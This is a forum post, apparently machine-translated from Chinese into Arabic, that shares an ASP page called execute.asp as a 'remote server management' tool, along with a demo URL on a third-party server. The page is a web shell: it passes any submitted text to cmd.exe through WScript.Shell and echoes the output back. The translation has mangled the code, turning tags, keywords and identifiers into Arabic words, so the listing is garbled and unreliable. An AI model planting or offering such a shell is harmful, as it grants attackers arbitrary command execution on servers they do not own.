قمت مؤخرًا بكتابة أداة لإدارة الخادم عن بعد (استعارة جزء من الكود من ASE وإضافة Remote
تنفيذ الأوامر والتحميل والخدمات والوظائف الأخرى. )، حصلت على شين، آدم، تشينير، Ghost_happy،
لقد تأثرت كثيرًا بالمساعدة التي قدمها Crazybird والعديد من مستخدمي الإنترنت الآخرين، لذلك أخطط لنشر الكود الأصلي بالكامل بعد كتابته.
منشورة ويمكن تعديلها وتوزيعها بحرية. كل ما عليك فعله هو تحميل البرنامج على خادم يدعم ASP.
تجدر الإشارة إلى أن البرنامج يجب أن يكون مدعومًا بواسطة FileSystemObject حتى يتم تشغيله. ما يلي هو أمر التنفيذ عن بعد
الرمز الأصلي. انسخه واحفظه كـexecute.asp.
العنوان التجريبي: http://210.160.4.24/scripts/execute.asp
إنها آلة يابانية رديئة، لذا فإن الحروف الصينية ستكون مشوهة!
<أتش تي أم أل>
<الرأس>
<meta http-equiv=محتوى لغة المحتوى=zh-cn>
<meta http-equiv=Content-Type content=text/html;
<اسم التعريف = محتوى المولد = Microsoft FrontPage 4.0>
<اسم التعريف=محتوى معرف البرنامج=FrontPage.Editor.Document>
<title>تنفيذ الأمر</title>
<نمط>
<!--
الجدول، الجسم { عائلة الخط: حجم الخط: 9pt }
أ{ عائلة الخط: 宋体؛ حجم الخط: 9pt؛
زخرفة النص: لا شيء }
a:hover{ Font-family: 宋体؛ اللون: rgb(255,0,0);
}
أ:زار {اللون: rgb(128,0,0) }
-->
</نمط>
</الرأس>
<body bgcolor=#000000 text=#C0C0C0>
<طريقة النموذج=إجراء POST=execute.asp>
<p align=left>أدخل الأمر المراد تنفيذه: <input type=text name=ml
size=20 value=dir c:/ style=background-color: #C0C0C0;
#000000؛ نمط الحدود: صلب؛ عرض الحدود: 1>
<نوع الإدخال=قيمة الإرسال=اسم التنفيذ=نمط B1=لون الخلفية:
#C0C0C0؛ اللون: #000000؛ الحدود: 1 أخدود #C0C0C0></p>
</النموذج>
<%
مل=request.form(مل)
cmd=c:/winnt/system32/cmd.exe /c &ml& >c:/whoamI.txt 'تعديل
مسار whoamI.txt إلى دليل يتمتع بأذونات الكتابة
تعيين WShShell = Server.CreateObject(WScript.Shell)
RetCode = WShShell.Run(cmd, 1, True)
إذا RetCode = 0 ثم
الرد.اكتب مل &
تم تنفيذ أمر Response.write بنجاح! &<br><br>
آخر
فشل تنفيذ أمر Response.write! الأذونات غير كافية أو لا يمكن تشغيل البرنامج في حالة DOS
! &<br><br>
نهاية إذا
'رد.اكتب كمد
وظيفةhtmlencode(شارع)
نتيجة قاتمة
خافت ل
إذا كان NULL(str) إذن
htmlencode=
وظيفة الخروج
نهاية إذا
ل = لين (شارع)
النتيجة=
ديمي
لأني = 1 إلى لتر
حدد حالة منتصف (شارع، ط، 1)
حالة<
النتيجة=النتيجة+<
حالة >
النتيجة=النتيجة+>
حالة حقوق الإنسان(34)
النتيجة=النتيجة+
قضية&
النتيجة=النتيجة+&
حالة أخرى
النتيجة = النتيجة + منتصف (شارع، ط، 1)
حدد النهاية
التالي
htmlencode=result
وظيفة النهاية
تعيين خ =CreateObject(Scripting.FileSystemObject)
اضبط هذا الملف = fs.OpenTextFile(c:/whoamI.txt, 1, False) 'اقرأ الملف، ولا تنسَه
تعديل المسار.
العداد=0
افعل بينما لا يوجد thisfile.atendofstream
عداد=عداد+1
thisline=htmlencode(thisfile.readline)
استجابة.اكتب هذا السطر&<br>
حلقة
thisfile.Close
تعيين خ = لا شيء
%>
</الجسم>
</html>